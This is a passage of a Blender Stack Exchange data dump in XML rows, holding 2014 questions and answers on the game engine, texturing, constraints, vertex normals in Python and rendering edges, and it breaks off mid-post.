  <row Id="12128" PostTypeId="1" AcceptedAnswerId="12148" CreationDate="2014-06-10T22:28:02.530" Score="0" ViewCount="851" Body="&lt;p&gt;I have a simple character, who has simple animations. In the logic editor, I have a Keyboard sensor (&lt;kbd&gt;W&lt;/kbd&gt;) &lt;em&gt;&gt; And controller &gt; Action actuator&lt;/em&gt; set to &lt;em&gt;Loop stop&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the same with another keyboard sensor (&lt;kbd&gt;S&lt;/kbd&gt;). When I play the game and use &lt;kbd&gt;W&lt;/kbd&gt; it's fine, and when I use &lt;kbd&gt;S&lt;/kbd&gt; it is also fine. But when I press both of them (&lt;kbd&gt;W&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;) and let go of only one of them, the animation stops. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;strong&gt;&lt;em&gt;only&lt;/em&gt;&lt;/strong&gt; happens when I wait for a second after pressing one (&lt;kbd&gt;W&lt;/kbd&gt; or &lt;kbd&gt;S&lt;/kbd&gt;) and then press a second. In other words, the &lt;em&gt;game is fine until I press 2 of the functions at once&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I let both &lt;kbd&gt;W&lt;/kbd&gt; and &lt;kbd&gt;S&lt;/kbd&gt; work fluently with &lt;em&gt;Loop Stop&lt;/em&gt; enabled?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="2217" LastEditDate="2014-07-29T14:09:27.840" LastActivityDate="2014-07-29T14:09:27.840" Title="Why do multiple keyboard inputs stop playing an action?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12129" PostTypeId="1" CreationDate="2014-06-11T01:06:36.580" Score="1" ViewCount="608" Body="&lt;p&gt;When rendering my mesh, I noticed that not all the textures for the body are the same as they are in the 3D view. In my body mesh, there are two textures- one for the head, and one for the rest of the body. The head texture shows up fine during rendering, but the body texture appears to have its UVs somehow warped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://imgur.com/j5vvqaJ.png&quot; alt=&quot;3D View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://imgur.com/K3M4up5.png&quot; alt=&quot;Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29710&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see from the body texture on render, the body texture IS being used to texture the body since the blue on the arm is present (not found in the face). However, it would appear that the UVs are different on render than in the 3D view. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3775" LastEditorUserId="3738" LastEditDate="2014-06-12T01:40:01.330" LastActivityDate="2014-06-17T01:15:50.660" Title="Texture mapped incorrectly in render?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12130" PostTypeId="1" AcceptedAnswerId="12336" CreationDate="2014-06-11T03:31:19.377" Score="0" ViewCount="2880" Body="&lt;p&gt;How do I make my textures or colors display in blenders game engine? My textures in blender will not appear in bge when I run my game and it ends up looking like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B5bwL.jpg&quot; alt=&quot;This is an bge (blender game engine) image of my game that has a problem of loading my textures.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added some textures and colors to my objects in blender render but when I go into blenders game engine and run the game it looks black and white (image shows above shows no textures that I have added). I have multitexture enabled in my scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way of fixing this?&lt;/p&gt;&#xA;" OwnerUserId="3477" LastEditorUserId="3477" LastEditDate="2014-06-12T03:55:53.853" LastActivityDate="2014-06-18T23:26:34.110" Title="Blender textures will not display in GE?" Tags="&lt;texturing&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12131" PostTypeId="2" ParentId="10933" CreationDate="2014-06-11T03:41:33.690" Score="0" Body="&lt;p&gt;It really depends on how you are controlling your character and camera; there are many different methods (ie. camera actuator, edit object actuator -&gt; mode: track to)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I would go about setting up controls like Just Cause 2 (shooting) is to add an empty for the location of the camera behind the character, and another empty (or object) for a reciticle and when holding down an &quot;aiming&quot; button move the camera to the location of the empty and &quot;track to&quot; the reciticle with both the camera and the arm/gun. And make the mouse control the reciticle.&lt;/p&gt;&#xA;" OwnerUserId="4793" LastActivityDate="2014-06-11T03:41:33.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12133" PostTypeId="1" AcceptedAnswerId="12136" CreationDate="2014-06-11T06:01:32.890" Score="1" ViewCount="3201" Body="&lt;p&gt;I'm trying to create a mesh with faces that are semitransparent in such a manner that I can see the back faces through the front faces. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the transparency of the material allowed me to see a completely different mesh if it were behind the &quot;transparent&quot; mesh, but it didn't allow me to see through to its own faces. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh as a whole got transparent, but the faces all kept an opaque appearance (if that makes any sense).&lt;/p&gt;&#xA;" OwnerUserId="4787" LastEditorUserId="599" LastEditDate="2014-06-11T07:05:12.233" LastActivityDate="2014-06-11T07:05:12.233" Title="How to disable backface-culling?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12134" PostTypeId="1" AcceptedAnswerId="12138" CreationDate="2014-06-11T06:05:54.817" Score="1" ViewCount="113" Body="&lt;p&gt;I'm learning to use blender in order to get this result:&#xA;when I push a button on pygame I'll have a solid, like a stone, appearing from the ground. on this &quot;stone&quot; I would have written a text from a file that changes every time I use this function. I would only ask if it's possible with blender to have this result, or it's better to give up and think something more easy to do?&#xA;thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="4794" LastActivityDate="2014-06-11T08:28:10.947" Title="text from updating file" Tags="&lt;text-object&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12135" PostTypeId="1" AcceptedAnswerId="12137" CreationDate="2014-06-11T06:49:23.243" Score="5" ViewCount="960" Body="&lt;p&gt;I'm using BGE and I need to move the vertices of a mesh using Python. I know how to change the position of the vertices in real time but the problem is that they move using LOCAL coordinates and I need to move them along NORMAL coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the code below but I don't know what to do with &quot;nor&quot;, or maybe this is not the right way, I don't know.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;###### get the vertex normal vector&#xA;# get controller&#xA;controller = GameLogic.getCurrentController()&#xA;# get object the controller is attached to&#xA;obj = controller.owner&#xA;# get the 1st mesh&#xA;mesh = obj.meshes[0]&#xA;# get the first vertex of the first material&#xA;vert  = mesh.getVertex( 0, 0)&#xA;# get normal of this vertex&#xA;nor = vert.normal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2821" LastActivityDate="2014-10-15T02:52:55.447" Title="Moving vertices along normal axis in BGE" Tags="&lt;game-engine&gt;&lt;vertices&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12136" PostTypeId="2" ParentId="12133" CreationDate="2014-06-11T06:55:56.797" Score="1" Body="&lt;p&gt;Using a simplified version of the node setup from my &lt;a href=&quot;https://blender.stackexchange.com/a/10838/599&quot;&gt;answer here&lt;/a&gt;, you can do this with cycles (click on the image to get a bigger version):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/onqkP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/onqkP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-06-11T07:04:07.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12137" PostTypeId="2" ParentId="12135" CreationDate="2014-06-11T07:57:23.957" Score="2" Body="&lt;p&gt;The vertex normals are the interpolated normals of the faces which are perpendicular to the faces. The vertex normals are normalized this means the length of this vector is 1, therefore you might want to scale them before adding the normal vector to the vertex coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oJz1f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving the vertices along their normals would create an effect as shown in the this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z0ufx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import GameLogic&#xA;###### get the vertex normal vector&#xA;# get controller&#xA;controller = GameLogic.getCurrentController()&#xA;# get object the controller is attached to&#xA;obj = controller.owner&#xA;# get the 1st mesh&#xA;mesh = obj.meshes[0]&#xA;for v in range(mesh.getVertexArrayLength(0)):&#xA;    vert = mesh.getVertex(0, v)&#xA;    norm = vert.normal * .3&#xA;    vert.XYZ = (vert.x + norm.x, vert.y + norm.y, vert.z + norm.z )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-11T07:57:23.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12138" PostTypeId="2" ParentId="12134" CreationDate="2014-06-11T08:13:06.247" Score="1" Body="&lt;p&gt;It's not clear to me how this is related to &lt;a href=&quot;http://www.pygame.org/news.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;pygame&lt;/a&gt; so I focus on this part of your question: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would only ask if it's possible with blender to have this result&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you could create an action with two keyframes (start and end position of z coordinate of your cube).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the right side you see the action &quot;CubeAction&quot; in the &lt;em&gt;Dope Sheet (set to Action Editor)&lt;/em&gt;&#xA;At the bottom a Keyboard Sensor which is active when &lt;kbd&gt;Space&lt;/kbd&gt; is pressed and an &lt;em&gt;Action Controller&lt;/em&gt; which plays the animation stored in the action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YTNm0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To dynamically create the text object one idea would be to copy it in the text-editor and use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.text.to_3d_object(split_lines=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function is probably not available while the game engine is running&#xA;For how to load a text into the editor see: &lt;a href=&quot;https://blender.stackexchange.com/questions/8435/how-to-programmatically-load-a-python-script-in-text-editor-and-launch-it&quot;&gt;How to programmatically load a python script in Text Editor and launch it&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to port this to pygame isn't on topic here.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-06-11T08:28:10.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12139" PostTypeId="2" ParentId="12099" CreationDate="2014-06-11T08:16:59.747" Score="3" Body="&lt;p&gt;What you have done is to convert the frames in an &quot;Action Strip&quot; or &quot;Action&quot;, to edit this frames select the &quot;Action Strip&quot; (the yellow one) and press Tab to edit it. I don't know if you can revert the &quot;action strip&quot; to &quot;frames&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sfhVw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GZ18y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you added another keyframe, the upper frame override the bottom one. What you need to do is to convert the new keyframes in &quot;Actions Strip&quot; and play with their properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at image 3 and search for the blending property, it define how it will apply over others &quot;actions&quot;. After convert &quot;frames&quot; to &quot;Actions&quot; you can drag and drop to order the &quot;Actions&quot;, start and end times, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yfKsO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-06-11T08:46:39.910" LastActivityDate="2014-06-11T08:46:39.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12140" PostTypeId="1" CreationDate="2014-06-11T09:31:05.113" Score="3" ViewCount="1391" Body="&lt;p&gt;Is it possible to add something like a delay to a constraint (e.g. Transform or Copy Loc / Rot) or to a driver?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a driver should copy the rotation of a target which it had 10 frames ago. At the moment I'm using a scripted expression for copy rotation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['Armature'].pose.bones['Bone'].rotation_euler.y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this, of course, is only the rotation in the actual frame. I would not use any keyframes.&lt;/p&gt;&#xA;" OwnerUserId="2488" LastEditorUserId="1253" LastEditDate="2014-06-12T01:15:11.343" LastActivityDate="2015-08-13T15:46:57.737" Title="Adding Delay in Constraint" Tags="&lt;constraints&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12141" PostTypeId="1" AcceptedAnswerId="12200" CreationDate="2014-06-11T10:18:18.520" Score="1" ViewCount="707" Body="&lt;p&gt;I have 3 animated cubes, two of which, Cube 1 and Cube 2, start stacked on top of each other and off to the negative X of the other one, Cube 3. Cube 1 moves forward along the X axis. Cube 2 moves along the X axis under Cube 1 (transform constraint) while rotating around its Z axis. Cube 3 moves from Y=0 to Y=2 for every full (360°) rotation of Cube 2, then it jumps back to Y=0 as Cube 2 begins another rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to change this behavior so that, within one 360° rotation of Cube 2, Cube 3 would move from Y=0 to Y=2 and then &lt;em&gt;smoothly&lt;/em&gt; back to Y=0, behaving like a pendulum. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the animation in &lt;a href=&quot;http://www.pasteall.org/blend/29746&quot; rel=&quot;nofollow&quot;&gt;my .blend file&lt;/a&gt;; I hope that helps you understand me.&lt;/p&gt;&#xA;" OwnerUserId="2488" LastEditorUserId="1253" LastEditDate="2014-06-12T06:41:19.507" LastActivityDate="2014-06-13T10:25:48.317" Title="Transform Constraint" Tags="&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12142" PostTypeId="2" ParentId="12112" CreationDate="2014-06-11T10:59:42.707" Score="1" Body="&lt;p&gt;I'm pretty sure that all you did was save the noise with more precision.  I think if you blurred it enough to get rid of the noise then you will have nothing but a wavy cloud of a displacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to make your depth map using blender modeling/render tools, and then use that result for Displace.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a set-up that I found on a BlenderArtists.org thread that should help you along.  If you have any questions please ask.  I'll update my answer tomorrow with a bit more detail on how this works.  I just thought I could get you started with this little bit for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the setup right, you can just do a camera render and save it as an .exr, that will be your high-precision displacement map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yD2To.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-06-11T10:59:42.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12143" PostTypeId="1" CreationDate="2014-06-11T13:31:52.803" Score="3" ViewCount="349" Body="&lt;p&gt;I have a 2D base image on which I'd like to overlay a set of edges (several thousand), where each edge has a value determining its color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IzBtn.png&quot; alt=&quot;sample image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plan is to add each edge as a separate object with a custom property; then a single material across all edges can use the custom property to determine color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bit I'm having trouble with is actually getting edges to render. I was hoping that a wireframe modifier would give the edges enough geometry to be visible to the camera, however edges without associated faces don't seem to survive the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good way to get these edges to render? &lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-06-11T19:33:46.647" Title="Rendering unconnected edges" Tags="&lt;workflow&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12144" PostTypeId="1" CreationDate="2014-06-11T15:02:35.423" Score="2" ViewCount="1277" Body="&lt;p&gt;I am an amateur animator and have only just started learning 3d animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the tutorials that I have been studying teach the character walking in-place. I am wondering whether the character moves in place with the background props moving in the opposite direction so as to give the illusion of walking or do you just translate with offset and actually have the character moving (probably stupid question, but might as well ask it). &lt;/p&gt;&#xA;" OwnerUserId="3748" LastActivityDate="2014-06-12T08:11:29.583" Title="How do you do a walk cycle in production?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12145" PostTypeId="2" ParentId="12143" CreationDate="2014-06-11T16:01:47.403" Score="0" Body="&lt;p&gt;You can try the skin modifier for semi-okay results. &#xA;for better results, &#xA;try rendering curves with vector points at the start and end instead of edges (v key in edit mode) . &#xA;under curve properties, set the fill to &quot;none&quot; and turn up the bevel/bevel resolution - this will create a &quot;pipe&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: more detailed instructions here as requested by CharlesL: (right click image, view image to zoom) &#xA;&lt;img src=&quot;https://i.stack.imgur.com/r30cm.png&quot; alt=&quot;http://i.imgur.com/9yPKjsA.png&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/57Ra9.png&quot; alt=&quot;and here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3752" LastEditorUserId="3752" LastEditDate="2014-06-11T17:55:51.017" LastActivityDate="2014-06-11T17:55:51.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12146" PostTypeId="1" CreationDate="2014-06-11T18:34:08.797" Score="2" ViewCount="1328" Body="&lt;p&gt;I'll explain the steps to reproduce the most simple example to allow to update a shape key value from python within the game engine. This is supposedly only possible through an armature object.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;start with a new blender file, use the cube that is provided by default&lt;/li&gt;&#xA;&lt;li&gt;add two shape keys, basis and key1&lt;/li&gt;&#xA;&lt;li&gt;select key1 go in edit mode and scale the cube object to half of its size and exit edit mode&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now i got a cube object with shape keys.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add an armature&lt;/li&gt;&#xA;&lt;li&gt;shift select armature and the cube object&lt;/li&gt;&#xA;&lt;li&gt;hit ctrl-p and select &quot;Armature deform -&gt; with empty groups&quot; from the context menu&lt;/li&gt;&#xA;&lt;li&gt;select the cube object and select &quot;Value (Key 1)&quot; in &quot;Graph Editor-&gt; Drivers&quot;&lt;/li&gt;&#xA;&lt;li&gt;under &quot;Drivers&quot; properties&lt;/li&gt;&#xA;&lt;li&gt;select &quot;Avaraged Value&quot; for &quot;Type&quot;&lt;/li&gt;&#xA;&lt;li&gt;set &quot;obj/Bone&quot; to &quot;Armature&quot; / &quot;Bone&quot;&lt;/li&gt;&#xA;&lt;li&gt;set &quot;Type&quot; to &quot;X Location&quot;&lt;/li&gt;&#xA;&lt;li&gt;set &quot;Space&quot; to &quot;World Space&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now if I change the X location of the aramture/bone, the shape key changes its value and is represented in the mesh in the 3d view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem arises if I try update said location from within the game engine. The cube object does not change it's shape when i change the X location of the bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a new script called &quot;shapes&quot; with the following content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;controller = bge.logic.getCurrentController()&#xA;owner = controller.owner&#xA;&#xA;if not &quot;init&quot; in owner:&#xA;    owner[&quot;init&quot;] = 1&#xA;    controller.activate(controller.actuators[&quot;Armature&quot;])&#xA;&#xA;x = bge.logic.getRandomFloat()&#xA;owner.channels[&quot;Bone&quot;].location = [x,0,0]&#xA;print(owner.channels[&quot;Bone&quot;].location)&#xA;&#xA;owner.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the armature object and switch to &quot;Logic Editor&quot;&lt;/li&gt;&#xA;&lt;li&gt;add an &quot;Always&quot; sensor with activated &quot;True Level Trigger&quot;&lt;/li&gt;&#xA;&lt;li&gt;add a &quot;Python&quot; controller and select the &quot;shapes&quot; script&lt;/li&gt;&#xA;&lt;li&gt;add a &quot;Armature&quot; actuator with &quot;Constraint Type&quot; &quot;Run Armature&quot;&lt;/li&gt;&#xA;&lt;li&gt;now connect those three boxes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The script chooses a random float value and updates the location of the armature accordingly. I can verify that the location is updated&#xA;by creating a simple object and parenting it under the bone. The simple objects position will follow the position updates of the bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cube object however does not change it's shape. My simple example can be &lt;a href=&quot;http://s000.tinyupload.com/index.php?file_id=08842373156983471889&quot; rel=&quot;nofollow&quot;&gt;downloaded&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4799" LastEditorUserId="29" LastEditDate="2014-06-11T20:59:13.943" LastActivityDate="2014-06-11T20:59:13.943" Title="most simple way to drive shape keys in python via armature object" Tags="&lt;game-engine&gt;&lt;armature&gt;&lt;bones&gt;&lt;shape-keys&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12147" PostTypeId="1" CreationDate="2014-06-11T18:36:13.407" Score="6" ViewCount="2086" Body="&lt;p&gt;I've installed the DirectX export addon (found &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/DirectX_Exporter&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;). I'm exporting an object with armature animation but it's not working how I expect it to and the documentation isn't helpful (See &lt;a href=&quot;https://blender.stackexchange.com/questions/12124/directx-exporter-does-the-currently-selected-action-make-a-difference&quot;&gt;this question&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the addon is just a Python script, is there a way to set a breakpoint in the code and step through the exporter script like a debugger? I've looked a this &lt;a href=&quot;https://blender.stackexchange.com/questions/2502/can-i-run-a-python-script-step-by-step-in-blender&quot;&gt;similar question&lt;/a&gt; but running the Blender interactive Python console, I can't set my export options for the exporter, so it fails when I try to run the 'export' command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping there's something like the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open Blender normally (by double-clicking the Blender shortcut on my desktop)&lt;/li&gt;&#xA;&lt;li&gt;Enable some sort of Python debugging mode&lt;/li&gt;&#xA;&lt;li&gt;Open the file I'd like to export.&lt;/li&gt;&#xA;&lt;li&gt;Click File &gt; Export &gt; DirectX&lt;/li&gt;&#xA;&lt;li&gt;Choose my export options and filename&lt;/li&gt;&#xA;&lt;li&gt;Click Export DirectX&lt;/li&gt;&#xA;&lt;li&gt;Blender brings me into a code window showing the exporter script and it's paused on the first line, waiting for me to step through the code.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1170" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2017-08-16T05:43:05.143" Title="Debug and step through addon?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;export&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12148" PostTypeId="2" ParentId="12128" CreationDate="2014-06-11T19:00:45.447" Score="4" Body="&lt;p&gt;This is because an &lt;em&gt;and&lt;/em&gt; controller requires all connected sensors to be true to pass a signal to the actuator. An &lt;em&gt;or&lt;/em&gt; controller requires that at least one of the inputs is true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it this way: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;An and controller requires both sensor 1 &lt;strong&gt;and&lt;/strong&gt; sensor 2 to be true.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;An or controller requires either sensor 1 &lt;strong&gt;or&lt;/strong&gt; sensor 2 to be true.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is just &lt;a href=&quot;http://en.wikipedia.org/wiki/Boolean_algebra#Basic_operations&quot; rel=&quot;nofollow&quot;&gt;boolean logic&lt;/a&gt;, see &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Controllers&quot; rel=&quot;nofollow&quot;&gt;the wiki for more details&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-11T23:34:38.947" LastActivityDate="2014-06-11T23:34:38.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12149" PostTypeId="2" ParentId="12143" CreationDate="2014-06-11T19:26:02.430" Score="2" Body="&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I don't know of any way to render edges like this natively in cycles, however the screw modifier can add geometry to edges:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x2bEu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a bit of hack, but I don't know of any faster way to add faces to edges using modifiers (it's not actually that bad, in most other cases using the screw modifier you would probably use only edges anyway).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Blender Internal&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can render edges using a &lt;em&gt;Wire&lt;/em&gt; material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ERZbJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Opengl&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Of course, the viewport can render edges, however you are pretty limited in terms of controlling the color..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Wozq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://developer.blender.org/D458&quot; rel=&quot;nofollow noreferrer&quot;&gt;patch&lt;/a&gt; may help though.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-11T19:33:46.647" LastActivityDate="2014-06-11T19:33:46.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12150" PostTypeId="1" AcceptedAnswerId="12151" CreationDate="2014-06-11T20:26:51.923" Score="5" ViewCount="1650" Body="&lt;p&gt;Let's say you have a shape that would act as one stair step:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JHVXZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you add an empty and both the object and the empty have the same origin point. Then you add an array modifier to the stair step, and manipulate the empty to make a spiral staircase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PZq10.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would anybody make a railing surrounding the staircase?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/psqYE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When subdivision surface is used, the fence not to be straight from step to step, but round.&#xA;Here is what I mean:&#xA;Not this - &lt;img src=&quot;https://i.stack.imgur.com/4rrZn.png&quot; alt=&quot;enter image description 